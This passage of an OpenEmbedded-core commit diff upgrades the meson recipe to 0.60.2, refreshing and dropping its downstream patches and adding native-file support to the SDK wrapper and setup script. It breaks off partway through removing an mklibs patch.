+ mesonbuild/modules/gnome.py | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/mesonbuild/modules/gnome.py b/mesonbuild/modules/gnome.py
-index bcf77b9..6a4b472 100644
+index 1c6952d..5a6ff94 100644
--- a/mesonbuild/modules/gnome.py
+++ b/mesonbuild/modules/gnome.py
-@@ -974,6 +974,10 @@ This will become a hard error in the future.''')
- args.append('--{}={}'.format(program_name, path))
+@@ -35,7 +35,7 @@ from ..mesonlib import (
+ from ..dependencies import Dependency, PkgConfigDependency, InternalDependency
+ from ..interpreterbase import noPosargs, noKwargs, permittedKwargs, FeatureNew, FeatureNewKwargs, FeatureDeprecatedKwargs, FeatureDeprecated
+ from ..interpreterbase import typed_kwargs, KwargInfo, ContainerTypeInfo
+-from ..programs import ExternalProgram, OverrideProgram
++from ..programs import ExternalProgram, OverrideProgram, EmptyExternalProgram
+ from ..build import CustomTarget, CustomTargetIndex, GeneratedList
+
+ if T.TYPE_CHECKING:
+@@ -1103,6 +1103,9 @@ class GnomeModule(ExtensionModule):
+ args.append(f'--{program_name}={path}')
if namespace:
args.append('--namespace=' + namespace)
-+ gtkdoc_exe_wrapper = state.environment.properties.host.get('gtkdoc_exe_wrapper', None)
-+ if gtkdoc_exe_wrapper is not None:
-+ args.append('--run=' + gtkdoc_exe_wrapper)
++ if state.environment.need_exe_wrapper() and not isinstance(state.environment.get_exe_wrapper(), EmptyExternalProgram):
++ args.append('--run=' + ' '.join(state.environment.get_exe_wrapper().get_command()))
+
args += self._unpack_args('--htmlargs=', 'html_args', kwargs)
args += self._unpack_args('--scanargs=', 'scan_args', kwargs)
diff --git a/meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch b/meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch
new file mode 100644
index 0000000000..83c4782a61
--- /dev/null
+++ b/meta/recipes-devtools/meson/meson/0001-is_debianlike-always-return-False.patch
@@ -0,0 +1,26 @@
+From 667b9ede638677fb37911306937ea62f05897581 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 18 Oct 2021 15:55:59 +0200
+Subject: [PATCH] is_debianlike(): always return False
+
+Otherwise, host contamination happens.
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ mesonbuild/mesonlib/universal.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/mesonbuild/mesonlib/universal.py b/mesonbuild/mesonlib/universal.py
+index d670d04..47d1b52 100644
+--- a/mesonbuild/mesonlib/universal.py
++++ b/mesonbuild/mesonlib/universal.py
+@@ -651,7 +651,7 @@ def is_cygwin() -> bool:
+
+
+ def is_debianlike() -> bool:
+- return os.path.isfile('/etc/debian_version')
++ return False
+
+
+ def is_dragonflybsd() -> bool:
diff --git a/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch b/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch
deleted file mode 100644
index c0ad01e9d3..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 214e559d394491b1376e4cc370f75151117a3f83 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 18 Apr 2019 17:36:11 +0200
-Subject: [PATCH] modules/python.py: do not substitute python's install prefix
- with meson's
-
-Not sure why this is being done, but it
-a) relies on Python's internal variable substitution which may break in the future
-b) shouldn't be necessary as Python's prefix ought to be correct in the first place
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/python.py | 7 +++----
- 1 file changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/mesonbuild/modules/python.py b/mesonbuild/modules/python.py
-index 2f0c644..d2aa565 100644
---- a/mesonbuild/modules/python.py
-+++ b/mesonbuild/modules/python.py
-@@ -251,7 +251,7 @@ INTROSPECT_COMMAND = '''import sysconfig
- import json
- import sys
-
--install_paths = sysconfig.get_paths(scheme='posix_prefix', vars={'base': '', 'platbase': '', 'installed_base': ''})
-+install_paths = sysconfig.get_paths(scheme='posix_prefix')
-
- def links_against_libpython():
- from distutils.core import Distribution, Extension
-@@ -276,12 +276,11 @@ class PythonInstallation(ExternalProgramHolder):
- ExternalProgramHolder.__init__(self, python, interpreter.subproject)
- self.interpreter = interpreter
- self.subproject = self.interpreter.subproject
-- prefix = self.interpreter.environment.coredata.get_builtin_option('prefix')
- self.variables = info['variables']
- self.paths = info['paths']
- install_paths = info['install_paths']
-- self.platlib_install_path = os.path.join(prefix, install_paths['platlib'][1:])
-- self.purelib_install_path = os.path.join(prefix, install_paths['purelib'][1:])
-+ self.platlib_install_path = install_paths['platlib']
-+ self.purelib_install_path = install_paths['purelib']
- self.version = info['version']
- self.platform = info['platform']
- self.is_pypy = info['is_pypy']
diff --git a/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch b/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
index eb0e90dbdd..86abfa9d52 100644
--- a/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
+++ b/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
@@ -1,4 +1,4 @@
-From 689e28c49b85311f93f39df70cbee702fc44afb6 Mon Sep 17 00:00:00 2001
+From dd5b4a200cd2fdf7fef627c4b6752f90c00b863a Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 19 Nov 2018 14:24:26 +0100
Subject: [PATCH] python module: do not manipulate the environment when calling
@@ -8,36 +8,31 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- mesonbuild/modules/python.py | 12 ------------
- 1 file changed, 12 deletions(-)
+ mesonbuild/modules/python.py | 7 +------
+ 1 file changed, 1 insertion(+), 6 deletions(-)
diff --git a/mesonbuild/modules/python.py b/mesonbuild/modules/python.py
-index 07be318..b770603 100644
+index f479ab9..b934bc6 100644
--- a/mesonbuild/modules/python.py
+++ b/mesonbuild/modules/python.py
-@@ -71,11 +71,6 @@ class PythonDependency(ExternalDependency):
- old_pkg_libdir = os.environ.get('PKG_CONFIG_LIBDIR')
- old_pkg_path = os.environ.get('PKG_CONFIG_PATH')
-
-- os.environ.pop('PKG_CONFIG_PATH', None)
--
-- if pkg_libdir:
-- os.environ['PKG_CONFIG_LIBDIR'] = pkg_libdir
--
- try:
- self.pkgdep = PkgConfigDependency(pkg_name, environment, kwargs)
- mlog.debug('Found "{}" via pkgconfig lookup in LIBPC ({})'.format(pkg_name, pkg_libdir))
-@@ -84,13 +79,6 @@ class PythonDependency(ExternalDependency):
- mlog.debug('"{}" could not be found in LIBPC ({})'.format(pkg_name, pkg_libdir))
- mlog.debug(e)
-
-- if old_pkg_path is not None:
-- os.environ['PKG_CONFIG_PATH'] = old_pkg_path
--
-- if old_pkg_libdir is not None:
-- os.environ['PKG_CONFIG_LIBDIR'] = old_pkg_libdir
-- else:
-- os.environ.pop('PKG_CONFIG_LIBDIR', None)
- else:
- mlog.debug('"{}" could not be found in LIBPC ({}), this is likely due to a relocated python installation'.format(pkg_name, pkg_libdir))
+@@ -239,10 +239,6 @@ def python_factory(env: 'Environment', for_machine: 'MachineChoice',
+ # If python-X.Y.pc exists in LIBPC, we will try to use it
+ def wrap_in_pythons_pc_dir(name: str, env: 'Environment', kwargs: T.Dict[str, T.Any],
+ installation: 'PythonInstallation') -> 'ExternalDependency':
+- old_pkg_libdir = os.environ.pop('PKG_CONFIG_LIBDIR', None)
+- old_pkg_path = os.environ.pop('PKG_CONFIG_PATH', None)
+- if pkg_libdir:
+- os.environ['PKG_CONFIG_LIBDIR'] = pkg_libdir
+ try:
+ return PythonPkgConfigDependency(name, env, kwargs, installation)
+ finally:
+@@ -251,8 +247,7 @@ def python_factory(env: 'Environment', for_machine: 'MachineChoice',
+ os.environ[name] = value
+ elif name in os.environ:
+ del os.environ[name]
+- set_env('PKG_CONFIG_LIBDIR', old_pkg_libdir)
+- set_env('PKG_CONFIG_PATH', old_pkg_path)
++ pass
+ candidates.extend([
+ functools.partial(wrap_in_pythons_pc_dir, pkg_name, env, kwargs, installation),
diff --git a/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch b/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
index 2d804740ad..dcc1ce9c27 100644
--- a/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
+++ b/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
@@ -1,22 +1,21 @@
-From 38f59e256f760aa959c13f4c5713f87ff7addee5 Mon Sep 17 00:00:00 2001
+From 656bf55fed01df2d2e2ad6d9d9887173cb16b85c Mon Sep 17 00:00:00 2001
From: Peter Kjellerstedt <pkj@axis.com>
Date: Thu, 26 Jul 2018 16:32:49 +0200
-Subject: [PATCH] Support building allarch recipes again
+Subject: [PATCH 2/2] Support building allarch recipes again
This registers "allarch" as a known CPU family.
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
-
---
mesonbuild/envconfig.py | 1 +
1 file changed, 1 insertion(+)
diff --git a/mesonbuild/envconfig.py b/mesonbuild/envconfig.py
-index d1be65b..90f3573 100644
+index 4d58c91..ff01ad1 100644
--- a/mesonbuild/envconfig.py
+++ b/mesonbuild/envconfig.py
-@@ -36,6 +36,7 @@ _T = T.TypeVar('_T')
+@@ -36,6 +36,7 @@ from pathlib import Path
known_cpu_families = (
@@ -24,3 +23,6 @@ index d1be65b..90f3573 100644
'aarch64',
'alpha',
'arc',
+--
+2.24.0
+
diff --git a/meta/recipes-devtools/meson/meson/0003-native_bindir.patch b/meta/recipes-devtools/meson/meson/0003-native_bindir.patch
deleted file mode 100644
index 5d7bdc2f59..0000000000
--- a/meta/recipes-devtools/meson/meson/0003-native_bindir.patch
+++ /dev/null
@@ -1,125 +0,0 @@
-From f06c89939d0d006090a8a8728b2a13d532b83047 Mon Sep 17 00:00:00 2001
-From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
-Date: Wed, 15 Nov 2017 15:05:01 +0100
-Subject: [PATCH] native_bindir
-
-Some libraries, like QT, have pre-processors that convert their input
-files into something that the cross-compiler can process. We find the
-path of those pre-processors via pkg-config-native instead of
-pkg-config.
-
-This path forces the use of pkg-config-native for host_bins arguments.
-
-There are some discussions upstream to merge this patch, but I presonaly believe
-that is is OE only. https://github.com/mesonbuild/meson/issues/1849#issuecomment-303730323
-
-Upstream-Status: Inappropriate [OE specific]
-Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
-
----
- mesonbuild/dependencies/base.py | 19 +++++++++++--------
- mesonbuild/dependencies/ui.py | 6 +++---
- 2 files changed, 14 insertions(+), 11 deletions(-)
-
-diff --git a/mesonbuild/dependencies/base.py b/mesonbuild/dependencies/base.py
-index 368a4bc..9fc398e 100644
---- a/mesonbuild/dependencies/base.py
-+++ b/mesonbuild/dependencies/base.py
-@@ -183,7 +183,7 @@ class Dependency:
- def get_exe_args(self, compiler):
- return []
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- raise DependencyException('{!r} is not a pkgconfig dependency'.format(self.name))
-
- def get_configtool_variable(self, variable_name):
-@@ -261,7 +261,7 @@ class InternalDependency(Dependency):
- setattr(result, k, copy.deepcopy(v, memo))
- return result
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- raise DependencyException('Method "get_pkgconfig_variable()" is '
- 'invalid for an internal dependency')
-
-@@ -634,15 +634,18 @@ class PkgConfigDependency(ExternalDependency):
- return s.format(self.__class__.__name__, self.name, self.is_found,
- self.version_reqs)
-
-- def _call_pkgbin_real(self, args, env):
-- cmd = self.pkgbin.get_command() + args
-+ def _call_pkgbin_real(self, args, env, use_native=False):
-+ if use_native:
-+ cmd = [self.pkgbin.get_command()[0] + "-native"] + args
-+ else:
-+ cmd = self.pkgbin.get_command() + args
- p, out, err = Popen_safe(cmd, env=env)
- rc, out, err = p.returncode, out.strip(), err.strip()
- call = ' '.join(cmd)
- mlog.debug("Called `{}` -> {}\n{}".format(call, rc, out))
- return rc, out, err
-
-- def _call_pkgbin(self, args, env=None):
-+ def _call_pkgbin(self, args, env=None, use_native=False):
- # Always copy the environment since we're going to modify it
- # with pkg-config variables
- if env is None:
-@@ -668,7 +671,7 @@ class PkgConfigDependency(ExternalDependency):
- targs = tuple(args)
- cache = PkgConfigDependency.pkgbin_cache
- if (self.pkgbin, targs, fenv) not in cache:
-- cache[(self.pkgbin, targs, fenv)] = self._call_pkgbin_real(args, env)
-+ cache[(self.pkgbin, targs, fenv)] = self._call_pkgbin_real(args, env, use_native)
- return cache[(self.pkgbin, targs, fenv)]
-
- def _convert_mingw_paths(self, args: T.List[str]) -> T.List[str]:
-@@ -877,7 +880,7 @@ class PkgConfigDependency(ExternalDependency):
- (self.name, out_raw))
- self.link_args, self.raw_link_args = self._search_libs(out, out_raw)
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- options = ['--variable=' + variable_name, self.name]
-
- if 'define_variable' in kwargs:
-@@ -890,7 +893,7 @@ class PkgConfigDependency(ExternalDependency):
-
- options = ['--define-variable=' + '='.join(definition)] + options
-
-- ret, out, err = self._call_pkgbin(options)
-+ ret, out, err = self._call_pkgbin(options, use_native=use_native)
- variable = ''
- if ret != 0:
- if self.required:
-diff --git a/mesonbuild/dependencies/ui.py b/mesonbuild/dependencies/ui.py
-index 95dfe2b..5f82890 100644
---- a/mesonbuild/dependencies/ui.py
-+++ b/mesonbuild/dependencies/ui.py
-@@ -325,7 +325,7 @@ class QtBaseDependency(ExternalDependency):
- self.bindir = self.get_pkgconfig_host_bins(core)
- if not self.bindir:
- # If exec_prefix is not defined, the pkg-config file is broken
-- prefix = core.get_pkgconfig_variable('exec_prefix', {})
-+ prefix = core.get_pkgconfig_variable('exec_prefix', {}, use_native=True)
- if prefix:
- self.bindir = os.path.join(prefix, 'bin')
-
-@@ -528,7 +528,7 @@ class Qt4Dependency(QtBaseDependency):
- applications = ['moc', 'uic', 'rcc', 'lupdate', 'lrelease']
- for application in applications:
- try:
-- return os.path.dirname(core.get_pkgconfig_variable('%s_location' % application, {}))
-+ return os.path.dirname(core.get_pkgconfig_variable('%s_location' % application, {}, use_native=True))
- except MesonException:
- pass
-
-@@ -538,7 +538,7 @@ class Qt5Dependency(QtBaseDependency):
- QtBaseDependency.__init__(self, 'qt5', env, kwargs)
-
- def get_pkgconfig_host_bins(self, core):
-- return core.get_pkgconfig_variable('host_bins', {})
-+ return core.get_pkgconfig_variable('host_bins', {}, use_native=True)
-
- def get_private_includes(self, mod_inc_dir, module):
- return _qt_get_private_includes(mod_inc_dir, module, self.version)
diff --git a/meta/recipes-devtools/meson/meson/cross-prop-default.patch b/meta/recipes-devtools/meson/meson/cross-prop-default.patch
deleted file mode 100644
index 772395e879..0000000000
--- a/meta/recipes-devtools/meson/meson/cross-prop-default.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-meson.build files that use cc.run() in native builds can silently fallback to
-meson.get_cross_property() in cross builds without an exe-wrapper, but there's
-no way to know that this is happening.
-
-As the defaults may be pessimistic (for example, disabling the support for a
-feature that should be enabled) emit a warning when the default is used, so that
-the recipe can explicitly set the cross property as relevant.
-
-Upstream-Status: Submitted [https://github.com/mesonbuild/meson/pull/5071]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/mesonbuild/interpreter.py b/mesonbuild/interpreter.py
-index 3c3cfae0..10e741ae 100644
---- a/mesonbuild/interpreter.py
-+++ b/mesonbuild/interpreter.py
-@@ -1890,6 +1890,7 @@ class MesonMain(InterpreterObject):
- return props[propname]
- except Exception:
- if len(args) == 2:
-+ mlog.warning('Cross property %s is using default value %s' % (propname, args[1]))
- return args[1]
- raise InterpreterException('Unknown cross property: %s.' % propname)
-
diff --git a/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch b/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
index 4653a72a20..7aaed8b4a3 100644
--- a/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
+++ b/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
@@ -1,4 +1,4 @@
-From 9e3fcf192c1ca068d310c648c311f9d850214421 Mon Sep 17 00:00:00 2001
+From 18600f7a1cddf23aeabd188f86e66983f27ccfe3 Mon Sep 17 00:00:00 2001
From: Richard Purdie <richard.purdie@linuxfoundation.org>
Date: Fri, 23 Nov 2018 15:28:28 +0000
Subject: [PATCH] meson: Disable rpath stripping at install time
@@ -10,26 +10,28 @@ is a specific directive to do something differently in the project.
RP 2018/11/23
Upstream-Status: Submitted [https://github.com/mesonbuild/meson/issues/2567]
-
---
mesonbuild/minstall.py | 7 +++++--
1 file changed, 5 insertions(+), 2 deletions(-)
diff --git a/mesonbuild/minstall.py b/mesonbuild/minstall.py
-index 0be01fe..5406cab 100644
+index 7d0da13..17d50db 100644
--- a/mesonbuild/minstall.py
+++ b/mesonbuild/minstall.py
-@@ -512,8 +512,11 @@ class Installer:
+@@ -718,8 +718,11 @@ class Installer:
if file_copied:
self.did_install_something = True
try:
-- depfixer.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
-- install_name_mappings, verbose=False)
+- self.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
+- install_name_mappings, verbose=False)
+ if install_rpath:
-+ depfixer.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
-+ install_name_mappings, verbose=False)
++ self.fix_rpath(outname, t.rpath_dirs_to_remove, install_rpath, final_path,
++ install_name_mappings, verbose=False)
+ else:
+ print("RPATH changes at install time disabled")
except SystemExit as e:
if isinstance(e.code, int) and e.code == 0:
pass
+--
+2.20.1
+
diff --git a/meta/recipes-devtools/meson/meson/meson-setup.py b/meta/recipes-devtools/meson/meson/meson-setup.py
index 808e2a062f..daaa551de2 100755
--- a/meta/recipes-devtools/meson/meson/meson-setup.py
+++ b/meta/recipes-devtools/meson/meson/meson-setup.py
@@ -10,9 +10,13 @@ class Template(string.Template):
class Environ():
def __getitem__(self, name):
val = os.environ[name]
- val = ["'%s'" % x for x in val.split()]
- val = ', '.join(val)
- val = '[%s]' % val
+ val = val.split()
+ if len(val) > 1:
+ val = ["'%s'" % x for x in val]
+ val = ', '.join(val)
+ val = '[%s]' % val
+ elif val:
+ val = "'%s'" % val.pop()
return val
try:
@@ -23,9 +27,17 @@ except KeyError:
template_file = os.path.join(sysroot, 'usr/share/meson/meson.cross.template')
cross_file = os.path.join(sysroot, 'usr/share/meson/%smeson.cross' % os.environ["TARGET_PREFIX"])
+native_template_file = os.path.join(sysroot, 'usr/share/meson/meson.native.template')
+native_file = os.path.join(sysroot, 'usr/share/meson/meson.native')
with open(template_file) as in_file:
template = in_file.read()
output = Template(template).substitute(Environ())
with open(cross_file, "w") as out_file:
out_file.write(output)
+
+with open(native_template_file) as in_file:
+ template = in_file.read()
+ output = Template(template).substitute({'OECORE_NATIVE_SYSROOT': os.environ['OECORE_NATIVE_SYSROOT']})
+ with open(native_file, "w") as out_file:
+ out_file.write(output)
diff --git a/meta/recipes-devtools/meson/meson/meson-wrapper b/meta/recipes-devtools/meson/meson/meson-wrapper
index d4ffe60f9a..8fafaad975 100755
--- a/meta/recipes-devtools/meson/meson/meson-wrapper
+++ b/meta/recipes-devtools/meson/meson/meson-wrapper
@@ -4,6 +4,10 @@ if [ -z "$OECORE_NATIVE_SYSROOT" ]; then
echo "OECORE_NATIVE_SYSROOT not set; are you in a Yocto SDK environment?" >&2
fi
+if [ -z "$SSL_CERT_DIR" ]; then
+ export SSL_CERT_DIR="${OECORE_NATIVE_SYSROOT}/etc/ssl/certs/"
+fi
+
# If these are set to a cross-compile path, meson will get confused and try to
# use them as native tools. Unset them to prevent this, as all the cross-compile
# config is already in meson.cross.
@@ -11,4 +15,5 @@ unset CC CXX CPP LD AR NM STRIP
exec "$OECORE_NATIVE_SYSROOT/usr/bin/meson.real" \
--cross-file "${OECORE_NATIVE_SYSROOT}/usr/share/meson/${TARGET_PREFIX}meson.cross" \
+ --native-file "${OECORE_NATIVE_SYSROOT}/usr/share/meson/meson.native" \
"$@"
diff --git a/meta/recipes-devtools/meson/meson_0.55.1.bb b/meta/recipes-devtools/meson/meson_0.60.2.bb
index de9b905c12..de9b905c12 100644
--- a/meta/recipes-devtools/meson/meson_0.55.1.bb
+++ b/meta/recipes-devtools/meson/meson_0.60.2.bb
diff --git a/meta/recipes-devtools/meson/nativesdk-meson_0.55.1.bb b/meta/recipes-devtools/meson/nativesdk-meson_0.55.1.bb
deleted file mode 100644
index 67add2c25e..0000000000
--- a/meta/recipes-devtools/meson/nativesdk-meson_0.55.1.bb
+++ /dev/null
@@ -1,65 +0,0 @@
-include meson.inc
-
-inherit nativesdk
-inherit siteinfo
-
-SRC_URI += "file://meson-setup.py \
- file://meson-wrapper"
-
-def meson_endian(prefix, d):
- arch, os = d.getVar(prefix + "_ARCH"), d.getVar(prefix + "_OS")
- sitedata = siteinfo_data_for_machine(arch, os, d)
- if "endian-little" in sitedata:
- return "little"
- elif "endian-big" in sitedata:
- return "big"
- else:
- bb.fatal("Cannot determine endianism for %s-%s" % (arch, os))
-
-# The cross file logic is similar but not identical to that in meson.bbclass,
-# since it's generating for an SDK rather than a cross-compile. Important
-# differences are:
-# - We can't set vars like CC, CXX, etc. yet because they will be filled in with
-# real paths by meson-setup.sh when the SDK is extracted.
-# - Some overrides aren't needed, since the SDK injects paths that take care of
-# them.
-do_install_append() {
- install -d ${D}${datadir}/meson
- cat >${D}${datadir}/meson/meson.cross.template <<EOF
-[binaries]
-c = @CC
-cpp = @CXX
-ar = @AR
-nm = @NM
-strip = @STRIP
-pkgconfig = 'pkg-config'
-
-[properties]
-needs_exe_wrapper = true
-c_args = @CFLAGS
-c_link_args = @LDFLAGS
-cpp_args = @CPPFLAGS
-cpp_link_args = @LDFLAGS
-
-[host_machine]
-system = '${SDK_OS}'
-cpu_family = '${SDK_ARCH}'
-cpu = '${SDK_ARCH}'
-endian = '${@meson_endian("SDK", d)}'
-EOF
-
- install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
- install -m 0755 ${WORKDIR}/meson-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
-
- # We need to wrap the real meson with a thin env setup wrapper.
- mv ${D}${bindir}/meson ${D}${bindir}/meson.real
- install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
-}
-
-RDEPENDS_${PN} += "\
- nativesdk-ninja \
- nativesdk-python3 \
- nativesdk-python3-setuptools \
- "
-
-FILES_${PN} += "${datadir}/meson ${SDKPATHNATIVE}"
diff --git a/meta/recipes-devtools/meson/nativesdk-meson_0.60.2.bb b/meta/recipes-devtools/meson/nativesdk-meson_0.60.2.bb
new file mode 100644
index 0000000000..7b77041c7e
--- /dev/null
+++ b/meta/recipes-devtools/meson/nativesdk-meson_0.60.2.bb
@@ -0,0 +1,104 @@
+include meson.inc
+
+inherit meson-routines
+inherit nativesdk
+
+SRC_URI += "file://meson-setup.py \
+ file://meson-wrapper"
+
+# The cross file logic is similar but not identical to that in meson.bbclass,
+# since it's generating for an SDK rather than a cross-compile. Important
+# differences are:
+# - We can't set vars like CC, CXX, etc. yet because they will be filled in with
+# real paths by meson-setup.sh when the SDK is extracted.
+# - Some overrides aren't needed, since the SDK injects paths that take care of
+# them.
+def var_list2str(var, d):
+ items = d.getVar(var).split()
+ return items[0] if len(items) == 1 else ', '.join(repr(s) for s in items)
+
+def generate_native_link_template(d):
+ val = ['-L@{OECORE_NATIVE_SYSROOT}${libdir_native}',
+ '-L@{OECORE_NATIVE_SYSROOT}${base_libdir_native}',
+ '-Wl,-rpath-link,@{OECORE_NATIVE_SYSROOT}${libdir_native}',
+ '-Wl,-rpath-link,@{OECORE_NATIVE_SYSROOT}${base_libdir_native}',
+ '-Wl,--allow-shlib-undefined'
+ ]
+ build_arch = d.getVar('BUILD_ARCH')
+ if 'x86_64' in build_arch:
+ loader = 'ld-linux-x86-64.so.2'
+ elif 'i686' in build_arch:
+ loader = 'ld-linux.so.2'
+ elif 'aarch64' in build_arch:
+ loader = 'ld-linux-aarch64.so.1'
+ elif 'ppc64le' in build_arch:
+ loader = 'ld64.so.2'
+
+ if loader:
+ val += ['-Wl,--dynamic-linker=@{OECORE_NATIVE_SYSROOT}${base_libdir_native}/' + loader]
+
+ return repr(val)
+
+do_install:append() {
+ install -d ${D}${datadir}/meson
+
+ cat >${D}${datadir}/meson/meson.native.template <<EOF
+[binaries]
+c = ${@meson_array('BUILD_CC', d)}
+cpp = ${@meson_array('BUILD_CXX', d)}
+ar = ${@meson_array('BUILD_AR', d)}
+nm = ${@meson_array('BUILD_NM', d)}
+strip = ${@meson_array('BUILD_STRIP', d)}
+readelf = ${@meson_array('BUILD_READELF', d)}
+pkgconfig = 'pkg-config-native'
+
+[built-in options]
+c_args = ['-isystem@{OECORE_NATIVE_SYSROOT}${includedir_native}' , ${@var_list2str('BUILD_OPTIMIZATION', d)}]
+c_link_args = ${@generate_native_link_template(d)}
+cpp_args = ['-isystem@{OECORE_NATIVE_SYSROOT}${includedir_native}' , ${@var_list2str('BUILD_OPTIMIZATION', d)}]
+cpp_link_args = ${@generate_native_link_template(d)}
+[properties]
+sys_root = '@OECORE_NATIVE_SYSROOT'
+EOF
+
+ cat >${D}${datadir}/meson/meson.cross.template <<EOF
+[binaries]
+c = @CC
+cpp = @CXX
+ar = @AR
+nm = @NM
+strip = @STRIP
+pkgconfig = 'pkg-config'
+
+[built-in options]
+c_args = @CFLAGS
+c_link_args = @LDFLAGS
+cpp_args = @CPPFLAGS
+cpp_link_args = @LDFLAGS
+
+[properties]
+needs_exe_wrapper = true
+sys_root = @OECORE_TARGET_SYSROOT
+
+[host_machine]
+system = '${SDK_OS}'
+cpu_family = '${@meson_cpu_family("SDK_ARCH", d)}'
+cpu = '${SDK_ARCH}'
+endian = '${@meson_endian("SDK", d)}'
+EOF
+
+ install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
+ install -m 0755 ${WORKDIR}/meson-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
+
+ # We need to wrap the real meson with a thin env setup wrapper.
+ mv ${D}${bindir}/meson ${D}${bindir}/meson.real
+ install -m 0755 ${WORKDIR}/meson-wrapper ${D}${bindir}/meson
+}
+
+RDEPENDS:${PN} += "\
+ nativesdk-ninja \
+ nativesdk-python3 \
+ nativesdk-python3-setuptools \
+ "
+
+FILES:${PN} += "${datadir}/meson ${SDKPATHNATIVE}"
diff --git a/meta/recipes-devtools/mklibs/files/ac_init_fix.patch b/meta/recipes-devtools/mklibs/files/ac_init_fix.patch
deleted file mode 100644
index 422af10420..0000000000
--- a/meta/recipes-devtools/mklibs/files/ac_init_fix.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-Get the version of mklibs by simpler means. The MKLIBS_VERSION string in the
-configure.ac file is replaced with real version string by the
-do_configure_prepend() function from the recipe .bb file.
-
-Upstream-Status: Inappropriate [configuration]
-
-Nitin A Kamble <nitin.a.kamble@intel.com>
-Date: 2011/01/24
-
-Index: mklibs/configure.ac
-===================================================================
---- mklibs.orig/configure.ac 2010-02-21 17:34:56.000000000 -0800
-+++ mklibs/configure.ac 2011-01-24 18:52:19.943242079 -0800
-@@ -1,4 +1,4 @@
--AC_INIT([mklibs],m4_esyscmd(dpkg-parsechangelog | perl -ne 'print $1 if m/^Version: (.*)$/;'))
-+AC_INIT([mklibs], MKLIBS_VERSION)
- AM_INIT_AUTOMAKE([foreign no-define])
- AC_CONFIG_HEADERS([config.h])
- AM_MAINTAINER_MODE
diff --git a/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch b/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch
deleted file mode 100644
index 17d9af4de4..0000000000
--- a/meta/recipes-devtools/mklibs/files/avoid-failure-on-symbol-provided-by-application.patch
+++ /dev/null
@@ -1,103 +0,0 @@
-From dcb45256970b15b672d0004533826c94083356e5 Mon Sep 17 00:00:00 2001
-From: Yuanjie Huang <yuanjie.huang@windriver.com>
-Date: Fri, 17 Apr 2015 14:48:20 +0800
-Subject: [PATCH 4/6] avoid failure on symbol provided by application
-
-Upstream-Status: Pending
-
-Undefined symbols in a library can be provided by the application
-that links to the library, such as `logsink' in libmultipath.so.0.
-This fix checks the type of object in which the symbol is needed
-and the existence of the symbol in application, when a symbol
-cannot be provided by libraries. It prevents false alarm on absence
-of symbols.
-
-Signed-off-by: Yuanjie Huang <yuanjie.huang@windriver.com>
-
----
- src/mklibs | 28 ++++++++++++++++++++++++----
- 1 file changed, 24 insertions(+), 4 deletions(-)
-
-diff --git a/src/mklibs b/src/mklibs
-index a3533c0..66b7a09 100755
---- a/src/mklibs
-+++ b/src/mklibs
-@@ -133,9 +133,9 @@ class Symbol(object):
- return '@'.join(ret)
-
- class UndefinedSymbol(Symbol):
-- def __init__(self, name, weak, version, library):
-+ def __init__(self, name, weak, version, library, object):
- super(UndefinedSymbol, self).__init__(name, version, library)
